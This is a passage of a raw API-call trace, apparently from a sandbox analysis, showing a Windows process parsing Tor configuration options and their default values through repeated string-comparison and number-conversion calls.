_EndPtr=0x36f494*="") returned 0 [0115.313] _errno () returned 0x9f07d8 [0115.313] strlen (_Str="__DisablePredictedCircuits") returned 0x1a [0115.313] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.313] _errno () returned 0x9f07d8 [0115.313] strlen (_Str="__LeaveStreamsUnattached") returned 0x18 [0115.313] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.313] _errno () returned 0x9f07d8 [0115.313] strlen (_Str="MinUptimeHidServDirectoryV2") returned 0x1b [0115.313] _errno () returned 0x9f07d8 [0115.313] _strcmpi (_Str1="", _Str2="hours") returned -1 [0115.313] _strcmpi (_Str1="second", _Str2="hours") returned 1 [0115.313] _strcmpi (_Str1="seconds", _Str2="hours") returned 1 [0115.313] _strcmpi (_Str1="minute", _Str2="hours") returned 1 [0115.313] _strcmpi (_Str1="minutes", _Str2="hours") returned 1 [0115.313] _strcmpi (_Str1="hour", _Str2="hours") returned -1 [0115.313] _strcmpi (_Str1="hours", _Str2="hours") returned 0 [0115.314] strlen (_Str="TestingServerDownloadSchedule") returned 0x1d [0115.314] strlen (_Str=",") returned 0x1 [0115.314] strlen (_Str=",") returned 0x1 [0115.314] strlen (_Str=",") returned 0x1 [0115.314] strlen (_Str=",") returned 0x1 [0115.314] strlen (_Str=",") returned 0x1 [0115.314] strlen (_Str=",") returned 0x1 [0115.314] strlen (_Str=",") returned 0x1 [0115.314] strlen (_Str=",") returned 0x1 [0115.314] _errno () returned 0x9f07d8 [0115.314] _strcmpi (_Str1="", _Str2="") returned 0 [0115.314] _errno () returned 0x9f07d8 [0115.314] _strcmpi (_Str1="", _Str2="") returned 0 [0115.314] _errno () returned 0x9f07d8 [0115.314] _strcmpi (_Str1="", _Str2="") returned 0 [0115.314] _errno () returned 0x9f07d8 [0115.314] _strcmpi (_Str1="", _Str2="") returned 0 [0115.314] _errno () returned 0x9f07d8 [0115.314] _strcmpi (_Str1="", _Str2="") returned 0 [0115.314] _errno () returned 0x9f07d8 [0115.314] _strcmpi (_Str1="", _Str2="") returned 0 [0115.314] _errno () returned 0x9f07d8 [0115.314] _strcmpi (_Str1="", _Str2="") returned 0 [0115.315] _errno () returned 0x9f07d8 [0115.315] _strcmpi (_Str1="", _Str2="") returned 0 [0115.315] _errno () returned 0x9f07d8 [0115.315] _strcmpi (_Str1="", _Str2="") returned 0 [0115.315] strlen (_Str="TestingClientDownloadSchedule") returned 0x1d [0115.315] strlen (_Str=",") returned 0x1 [0115.315] strlen (_Str=",") returned 0x1 [0115.315] strlen (_Str=",") returned 0x1 [0115.315] strlen (_Str=",") returned 0x1 [0115.315] strlen (_Str=",") returned 0x1 [0115.315] _errno () returned 0x9f07d8 [0115.315] _strcmpi (_Str1="", _Str2="") returned 0 [0115.315] _errno () returned 0x9f07d8 [0115.315] _strcmpi (_Str1="", _Str2="") returned 0 [0115.315] _errno () returned 0x9f07d8 [0115.315] _strcmpi (_Str1="", _Str2="") returned 0 [0115.315] _errno () returned 0x9f07d8 [0115.315] _strcmpi (_Str1="", _Str2="") returned 0 [0115.315] _errno () returned 0x9f07d8 [0115.315] _strcmpi (_Str1="", _Str2="") returned 0 [0115.315] _errno () returned 0x9f07d8 [0115.315] _strcmpi (_Str1="", _Str2="") returned 0 [0115.315] strlen (_Str="TestingServerConsensusDownloadSchedule") returned 0x26 [0115.315] strlen (_Str=",") returned 0x1 [0115.316] strlen (_Str=",") returned 0x1 [0115.316] strlen (_Str=",") returned 0x1 [0115.316] strlen (_Str=",") returned 0x1 [0115.316] strlen (_Str=",") returned 0x1 [0115.316] strlen (_Str=",") returned 0x1 [0115.316] strlen (_Str=",") returned 0x1 [0115.316] strlen (_Str=",") returned 0x1 [0115.316] strlen (_Str=",") returned 0x1 [0115.316] strlen (_Str=",") returned 0x1 [0115.316] strlen (_Str=",") returned 0x1 [0115.316] _errno () returned 0x9f07d8 [0115.316] _strcmpi (_Str1="", _Str2="") returned 0 [0115.316] _errno () returned 0x9f07d8 [0115.316] _strcmpi (_Str1="", _Str2="") returned 0 [0115.316] _errno () returned 0x9f07d8 [0115.316] _strcmpi (_Str1="", _Str2="") returned 0 [0115.316] _errno () returned 0x9f07d8 [0115.316] _strcmpi (_Str1="", _Str2="") returned 0 [0115.316] _errno () returned 0x9f07d8 [0115.316] _strcmpi (_Str1="", _Str2="") returned 0 [0115.316] _errno () returned 0x9f07d8 [0115.316] _strcmpi (_Str1="", _Str2="") returned 0 [0115.316] _errno () returned 0x9f07d8 [0115.317] _strcmpi (_Str1="", _Str2="") returned 0 [0115.317] _errno () returned 0x9f07d8 [0115.317] _strcmpi (_Str1="", _Str2="") returned 0 [0115.317] _errno () returned 0x9f07d8 [0115.317] _strcmpi (_Str1="", _Str2="") returned 0 [0115.317] _errno () returned 0x9f07d8 [0115.317] _strcmpi (_Str1="", _Str2="") returned 0 [0115.317] _errno () returned 0x9f07d8 [0115.317] _strcmpi (_Str1="", _Str2="") returned 0 [0115.317] _errno () returned 0x9f07d8 [0115.317] _strcmpi (_Str1="", _Str2="") returned 0 [0115.317] strlen (_Str="TestingClientConsensusDownloadSchedule") returned 0x26 [0115.317] strlen (_Str=",") returned 0x1 [0115.317] strlen (_Str=",") returned 0x1 [0115.317] _errno () returned 0x9f07d8 [0115.317] _strcmpi (_Str1="", _Str2="") returned 0 [0115.317] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.318] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.319] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] strtol (in: _Str="3", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 3 [0115.320] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] _errno () returned 0x9f07d8 [0115.320] strtol (in: _Str="8", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 8 [0115.320] _errno () returned 0x9f07d8 [0115.320] strtol (in: _Str="7", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 7 [0115.320] _errno () returned 0x9f07d8 [0115.320] strtol (in: _Str="4", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 4 [0115.320] _errno () returned 0x9f07d8 [0115.321] strtol (in: _Str="8", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 8 [0115.321] _errno () returned 0x9f07d8 [0115.321] strtol (in: _Str="8", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 8 [0115.321] _errno () returned 0x9f07d8 [0115.321] strtol (in: _Str="8", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 8 [0115.321] _errno () returned 0x9f07d8 [0115.321] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.321] _errno () returned 0x9f07d8 [0115.321] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.321] _errno () returned 0x9f07d8 [0115.321] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.321] _errno () returned 0x9f07d8 [0115.321] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.321] _errno () returned 0x9f07d8 [0115.321] strcmp (_Str1="AccountingMax", _Str2="AccountingMax") returned 0 [0115.321] strcmp (_Str1="AccountingMax", _Str2="AccountingMax") returned 0 [0115.321] _errno () returned 0x9f07d8 [0115.321] strcmp (_Str1="AccountingRule", _Str2="AccountingRule") returned 0 [0115.321] strcmp (_Str1="AccountingRule", _Str2="AccountingRule") returned 0 [0115.321] strcmp (_Str1="AllowDotExit", _Str2="AllowDotExit") returned 0 [0115.321] strcmp (_Str1="AllowDotExit", _Str2="AllowDotExit") returned 0 [0115.321] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.321] _errno () returned 0x9f07d8 [0115.321] strcmp (_Str1="AllowInvalidNodes", _Str2="AllowInvalidNodes") returned 0 [0115.321] strcmp (_Str1="AllowInvalidNodes", _Str2="AllowInvalidNodes") returned 0 [0115.321] strcmp (_Str1="AllowNonRFC953Hostnames", _Str2="AllowNonRFC953Hostnames") returned 0 [0115.321] strcmp (_Str1="AllowNonRFC953Hostnames", _Str2="AllowNonRFC953Hostnames") returned 0 [0115.321] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.321] _errno () returned 0x9f07d8 [0115.322] strcmp (_Str1="AllowSingleHopCircuits", _Str2="AllowSingleHopCircuits") returned 0 [0115.322] strcmp (_Str1="AllowSingleHopCircuits", _Str2="AllowSingleHopCircuits") returned 0 [0115.322] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.322] _errno () returned 0x9f07d8 [0115.322] strcmp (_Str1="AllowSingleHopExits", _Str2="AllowSingleHopExits") returned 0 [0115.322] strcmp (_Str1="AllowSingleHopExits", _Str2="AllowSingleHopExits") returned 0 [0115.322] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.322] _errno () returned 0x9f07d8 [0115.322] strcmp (_Str1="AssumeReachable", _Str2="AssumeReachable") returned 0 [0115.322] strcmp (_Str1="AssumeReachable", _Str2="AssumeReachable") returned 0 [0115.322] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.322] _errno () returned 0x9f07d8 [0115.322] strcmp (_Str1="AuthDirBadExitCCs", _Str2="AuthDirBadExitCCs") returned 0 [0115.322] strcmp (_Str1="AuthDirBadExitCCs", _Str2="AuthDirBadExitCCs") returned 0 [0115.322] strcmp (_Str1="AuthDirInvalidCCs", _Str2="AuthDirInvalidCCs") returned 0 [0115.322] strcmp (_Str1="AuthDirInvalidCCs", _Str2="AuthDirInvalidCCs") returned 0 [0115.322] strcmp (_Str1="AuthDirFastGuarantee", _Str2="AuthDirFastGuarantee") returned 0 [0115.322] strcmp (_Str1="AuthDirFastGuarantee", _Str2="AuthDirFastGuarantee") returned 0 [0115.322] _errno () returned 0x9f07d8 [0115.322] strcmp (_Str1="AuthDirGuardBWGuarantee", _Str2="AuthDirGuardBWGuarantee") returned 0 [0115.322] strcmp (_Str1="AuthDirGuardBWGuarantee", _Str2="AuthDirGuardBWGuarantee") returned 0 [0115.322] _errno () returned 0x9f07d8 [0115.322] strcmp (_Str1="AuthDirPinKeys", _Str2="AuthDirPinKeys") returned 0 [0115.322] strcmp (_Str1="AuthDirPinKeys", _Str2="AuthDirPinKeys") returned 0 [0115.322] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.322] _errno () returned 0x9f07d8 [0115.322] strcmp (_Str1="AuthDirRejectCCs", _Str2="AuthDirRejectCCs") returned 0 [0115.322] strcmp (_Str1="AuthDirRejectCCs", _Str2="AuthDirRejectCCs") returned 0 [0115.323] strcmp (_Str1="AuthDirListBadExits", _Str2="AuthDirListBadExits") returned 0 [0115.323] strcmp (_Str1="AuthDirListBadExits", _Str2="AuthDirListBadExits") returned 0 [0115.323] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.323] _errno () returned 0x9f07d8 [0115.323] strcmp (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirMaxServersPerAddr") returned 0 [0115.323] strcmp (_Str1="AuthDirMaxServersPerAddr", _Str2="AuthDirMaxServersPerAddr") returned 0 [0115.323] strtol (in: _Str="2", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 2 [0115.323] _errno () returned 0x9f07d8 [0115.323] strcmp (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AuthDirMaxServersPerAuthAddr") returned 0 [0115.323] strcmp (_Str1="AuthDirMaxServersPerAuthAddr", _Str2="AuthDirMaxServersPerAuthAddr") returned 0 [0115.323] strtol (in: _Str="5", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 5 [0115.323] _errno () returned 0x9f07d8 [0115.323] strcmp (_Str1="AuthDirHasIPv6Connectivity", _Str2="AuthDirHasIPv6Connectivity") returned 0 [0115.323] strcmp (_Str1="AuthDirHasIPv6Connectivity", _Str2="AuthDirHasIPv6Connectivity") returned 0 [0115.323] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.323] _errno () returned 0x9f07d8 [0115.323] strcmp (_Str1="AuthoritativeDirectory", _Str2="AuthoritativeDirectory") returned 0 [0115.323] strcmp (_Str1="AuthoritativeDirectory", _Str2="AuthoritativeDirectory") returned 0 [0115.323] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.323] _errno () returned 0x9f07d8 [0115.323] strcmp (_Str1="AutomapHostsOnResolve", _Str2="AutomapHostsOnResolve") returned 0 [0115.323] strcmp (_Str1="AutomapHostsOnResolve", _Str2="AutomapHostsOnResolve") returned 0 [0115.323] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.323] _errno () returned 0x9f07d8 [0115.323] strcmp (_Str1="AutomapHostsSuffixes", _Str2="AutomapHostsSuffixes") returned 0 [0115.323] strcmp (_Str1="AutomapHostsSuffixes", _Str2="AutomapHostsSuffixes") returned 0 [0115.324] strcmp (_Str1="AvoidDiskWrites", _Str2="AvoidDiskWrites") returned 0 [0115.324] strcmp (_Str1="AvoidDiskWrites", _Str2="AvoidDiskWrites") returned 0 [0115.324] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.324] _errno () returned 0x9f07d8 [0115.324] strcmp (_Str1="BandwidthBurst", _Str2="BandwidthBurst") returned 0 [0115.324] strcmp (_Str1="BandwidthBurst", _Str2="BandwidthBurst") returned 0 [0115.324] _errno () returned 0x9f07d8 [0115.324] strcmp (_Str1="BandwidthRate", _Str2="BandwidthRate") returned 0 [0115.324] strcmp (_Str1="BandwidthRate", _Str2="BandwidthRate") returned 0 [0115.324] _errno () returned 0x9f07d8 [0115.324] strcmp (_Str1="BridgeAuthoritativeDir", _Str2="BridgeAuthoritativeDir") returned 0 [0115.324] strcmp (_Str1="BridgeAuthoritativeDir", _Str2="BridgeAuthoritativeDir") returned 0 [0115.324] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.324] _errno () returned 0x9f07d8 [0115.324] strcmp (_Str1="BridgeRecordUsageByCountry", _Str2="BridgeRecordUsageByCountry") returned 0 [0115.324] strcmp (_Str1="BridgeRecordUsageByCountry", _Str2="BridgeRecordUsageByCountry") returned 0 [0115.324] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.324] _errno () returned 0x9f07d8 [0115.324] strcmp (_Str1="BridgeRelay", _Str2="BridgeRelay") returned 0 [0115.324] strcmp (_Str1="BridgeRelay", _Str2="BridgeRelay") returned 0 [0115.324] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.324] _errno () returned 0x9f07d8 [0115.324] strcmp (_Str1="CellStatistics", _Str2="CellStatistics") returned 0 [0115.324] strcmp (_Str1="CellStatistics", _Str2="CellStatistics") returned 0 [0115.324] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.324] _errno () returned 0x9f07d8 [0115.324] strcmp (_Str1="LearnCircuitBuildTimeout", _Str2="LearnCircuitBuildTimeout") returned 0 [0115.324] strcmp (_Str1="LearnCircuitBuildTimeout", _Str2="LearnCircuitBuildTimeout") returned 0 [0115.324] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.325] _errno () returned 0x9f07d8 [0115.325] strcmp (_Str1="CircuitBuildTimeout", _Str2="CircuitBuildTimeout") returned 0 [0115.325] strcmp (_Str1="CircuitBuildTimeout", _Str2="CircuitBuildTimeout") returned 0 [0115.325] _errno () returned 0x9f07d8 [0115.325] strcmp (_Str1="CircuitIdleTimeout", _Str2="CircuitIdleTimeout") returned 0 [0115.325] strcmp (_Str1="CircuitIdleTimeout", _Str2="CircuitIdleTimeout") returned 0 [0115.325] _errno () returned 0x9f07d8 [0115.325] strcmp (_Str1="CircuitStreamTimeout", _Str2="CircuitStreamTimeout") returned 0 [0115.325] strcmp (_Str1="CircuitStreamTimeout", _Str2="CircuitStreamTimeout") returned 0 [0115.325] _errno () returned 0x9f07d8 [0115.372] strcmp (_Str1="CircuitPriorityHalflife", _Str2="CircuitPriorityHalflife") returned 0 [0115.372] strcmp (_Str1="CircuitPriorityHalflife", _Str2="CircuitPriorityHalflife") returned 0 [0115.372] atof (_String="-100.000000") returned 0x9f07d0 [0115.372] strcmp (_Str1="ClientDNSRejectInternalAddresses", _Str2="ClientDNSRejectInternalAddresses") returned 0 [0115.372] strcmp (_Str1="ClientDNSRejectInternalAddresses", _Str2="ClientDNSRejectInternalAddresses") returned 0 [0115.373] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.373] _errno () returned 0x9f07d8 [0115.373] strcmp (_Str1="ClientOnly", _Str2="ClientOnly") returned 0 [0115.373] strcmp (_Str1="ClientOnly", _Str2="ClientOnly") returned 0 [0115.373] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.373] _errno () returned 0x9f07d8 [0115.373] strcmp (_Str1="ClientPreferIPv6ORPort", _Str2="ClientPreferIPv6ORPort") returned 0 [0115.373] strcmp (_Str1="ClientPreferIPv6ORPort", _Str2="ClientPreferIPv6ORPort") returned 0 [0115.373] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.373] strcmp (_Str1="ClientPreferIPv6DirPort", _Str2="ClientPreferIPv6DirPort") returned 0 [0115.373] strcmp (_Str1="ClientPreferIPv6DirPort", _Str2="ClientPreferIPv6DirPort") returned 0 [0115.373] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.373] strcmp (_Str1="ClientRejectInternalAddresses", _Str2="ClientRejectInternalAddresses") returned 0 [0115.373] strcmp (_Str1="ClientRejectInternalAddresses", _Str2="ClientRejectInternalAddresses") returned 0 [0115.373] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.373] _errno () returned 0x9f07d8 [0115.373] strcmp (_Str1="ClientUseIPv6", _Str2="ClientUseIPv6") returned 0 [0115.373] strcmp (_Str1="ClientUseIPv6", _Str2="ClientUseIPv6") returned 0 [0115.373] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.373] _errno () returned 0x9f07d8 [0115.373] strcmp (_Str1="ClientUseIPv4", _Str2="ClientUseIPv4") returned 0 [0115.373] strcmp (_Str1="ClientUseIPv4", _Str2="ClientUseIPv4") returned 0 [0115.373] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.373] _errno () returned 0x9f07d8 [0115.373] strcmp (_Str1="ConnLimit", _Str2="ConnLimit") returned 0 [0115.373] strcmp (_Str1="ConnLimit", _Str2="ConnLimit") returned 0 [0115.373] strtol (in: _Str="1000", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1000 [0115.373] _errno () returned 0x9f07d8 [0115.374] strcmp (_Str1="ConnDirectionStatistics", _Str2="ConnDirectionStatistics") returned 0 [0115.374] strcmp (_Str1="ConnDirectionStatistics", _Str2="ConnDirectionStatistics") returned 0 [0115.374] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.374] _errno () returned 0x9f07d8 [0115.374] strcmp (_Str1="ConstrainedSockets", _Str2="ConstrainedSockets") returned 0 [0115.374] strcmp (_Str1="ConstrainedSockets", _Str2="ConstrainedSockets") returned 0 [0115.374] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.374] _errno () returned 0x9f07d8 [0115.374] strcmp (_Str1="ConstrainedSockSize", _Str2="ConstrainedSockSize") returned 0 [0115.374] strcmp (_Str1="ConstrainedSockSize", _Str2="ConstrainedSockSize") returned 0 [0115.374] _errno () returned 0x9f07d8 [0115.374] strcmp (_Str1="ControlPortFileGroupReadable", _Str2="ControlPortFileGroupReadable") returned 0 [0115.374] strcmp (_Str1="ControlPortFileGroupReadable", _Str2="ControlPortFileGroupReadable") returned 0 [0115.374] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.374] _errno () returned 0x9f07d8 [0115.374] strcmp (_Str1="ControlSocketsGroupWritable", _Str2="ControlSocketsGroupWritable") returned 0 [0115.374] strcmp (_Str1="ControlSocketsGroupWritable", _Str2="ControlSocketsGroupWritable") returned 0 [0115.374] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.374] _errno () returned 0x9f07d8 [0115.374] strcmp (_Str1="SocksSocketsGroupWritable", _Str2="SocksSocketsGroupWritable") returned 0 [0115.374] strcmp (_Str1="SocksSocketsGroupWritable", _Str2="SocksSocketsGroupWritable") returned 0 [0115.374] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.374] _errno () returned 0x9f07d8 [0115.374] strcmp (_Str1="CookieAuthentication", _Str2="CookieAuthentication") returned 0 [0115.374] strcmp (_Str1="CookieAuthentication", _Str2="CookieAuthentication") returned 0 [0115.374] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.374] _errno () returned 0x9f07d8 [0115.374] strcmp (_Str1="CookieAuthFileGroupReadable", _Str2="CookieAuthFileGroupReadable") returned 0 [0115.374] strcmp (_Str1="CookieAuthFileGroupReadable", _Str2="CookieAuthFileGroupReadable") returned 0 [0115.374] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.374] _errno () returned 0x9f07d8 [0115.375] strcmp (_Str1="CountPrivateBandwidth", _Str2="CountPrivateBandwidth") returned 0 [0115.375] strcmp (_Str1="CountPrivateBandwidth", _Str2="CountPrivateBandwidth") returned 0 [0115.375] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.375] _errno () returned 0x9f07d8 [0115.375] strcmp (_Str1="DataDirectoryGroupReadable", _Str2="DataDirectoryGroupReadable") returned 0 [0115.375] strcmp (_Str1="DataDirectoryGroupReadable", _Str2="DataDirectoryGroupReadable") returned 0 [0115.375] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.375] _errno () returned 0x9f07d8 [0115.375] strcmp (_Str1="DisableNetwork", _Str2="DisableNetwork") returned 0 [0115.375] strcmp (_Str1="DisableNetwork", _Str2="DisableNetwork") returned 0 [0115.375] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.375] _errno () returned 0x9f07d8 [0115.375] strcmp (_Str1="DirAllowPrivateAddresses", _Str2="DirAllowPrivateAddresses") returned 0 [0115.375] strcmp (_Str1="DirAllowPrivateAddresses", _Str2="DirAllowPrivateAddresses") returned 0 [0115.375] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.375] _errno () returned 0x9f07d8 [0115.375] strcmp (_Str1="TestingAuthDirTimeToLearnReachability", _Str2="TestingAuthDirTimeToLearnReachability") returned 0 [0115.375] strcmp (_Str1="TestingAuthDirTimeToLearnReachability", _Str2="TestingAuthDirTimeToLearnReachability") returned 0 [0115.375] _errno () returned 0x9f07d8 [0115.375] strcmp (_Str1="DirReqStatistics", _Str2="DirReqStatistics") returned 0 [0115.375] strcmp (_Str1="DirReqStatistics", _Str2="DirReqStatistics") returned 0 [0115.375] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.375] _errno () returned 0x9f07d8 [0115.375] strcmp (_Str1="DirCache", _Str2="DirCache") returned 0 [0115.375] strcmp (_Str1="DirCache", _Str2="DirCache") returned 0 [0115.375] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.375] _errno () returned 0x9f07d8 [0115.375] strcmp (_Str1="DirAuthorityFallbackRate", _Str2="DirAuthorityFallbackRate") returned 0 [0115.375] strcmp (_Str1="DirAuthorityFallbackRate", _Str2="DirAuthorityFallbackRate") returned 0 [0115.375] atof (_String="1.000000") returned 0x9f07d0 [0115.376] strcmp (_Str1="DisableAllSwap", _Str2="DisableAllSwap") returned 0 [0115.376] strcmp (_Str1="DisableAllSwap", _Str2="DisableAllSwap") returned 0 [0115.376] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.376] _errno () returned 0x9f07d8 [0115.376] strcmp (_Str1="DisableDebuggerAttachment", _Str2="DisableDebuggerAttachment") returned 0 [0115.376] strcmp (_Str1="DisableDebuggerAttachment", _Str2="DisableDebuggerAttachment") returned 0 [0115.376] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.376] _errno () returned 0x9f07d8 [0115.376] strcmp (_Str1="DisableIOCP", _Str2="DisableIOCP") returned 0 [0115.376] strcmp (_Str1="DisableIOCP", _Str2="DisableIOCP") returned 0 [0115.376] strtol (in: _Str="1", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 1 [0115.376] _errno () returned 0x9f07d8 [0115.376] strcmp (_Str1="DownloadExtraInfo", _Str2="DownloadExtraInfo") returned 0 [0115.376] strcmp (_Str1="DownloadExtraInfo", _Str2="DownloadExtraInfo") returned 0 [0115.376] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.376] _errno () returned 0x9f07d8 [0115.376] strcmp (_Str1="TestingEnableConnBwEvent", _Str2="TestingEnableConnBwEvent") returned 0 [0115.376] strcmp (_Str1="TestingEnableConnBwEvent", _Str2="TestingEnableConnBwEvent") returned 0 [0115.376] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.376] _errno () returned 0x9f07d8 [0115.376] strcmp (_Str1="TestingEnableCellStatsEvent", _Str2="TestingEnableCellStatsEvent") returned 0 [0115.376] strcmp (_Str1="TestingEnableCellStatsEvent", _Str2="TestingEnableCellStatsEvent") returned 0 [0115.376] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.376] _errno () returned 0x9f07d8 [0115.376] strcmp (_Str1="TestingEnableTbEmptyEvent", _Str2="TestingEnableTbEmptyEvent") returned 0 [0115.376] strcmp (_Str1="TestingEnableTbEmptyEvent", _Str2="TestingEnableTbEmptyEvent") returned 0 [0115.376] strtol (in: _Str="0", _EndPtr=0x36f434, _Radix=10 | out: _EndPtr=0x36f434*="") returned 0 [0115.376] _errno () returned 0x9f07d8 [0115.376] strcmp (_Str1="EnforceDistinctSubnets", _Str2="EnforceDistinctSubnets") returned 0 [0115.376] strcmp 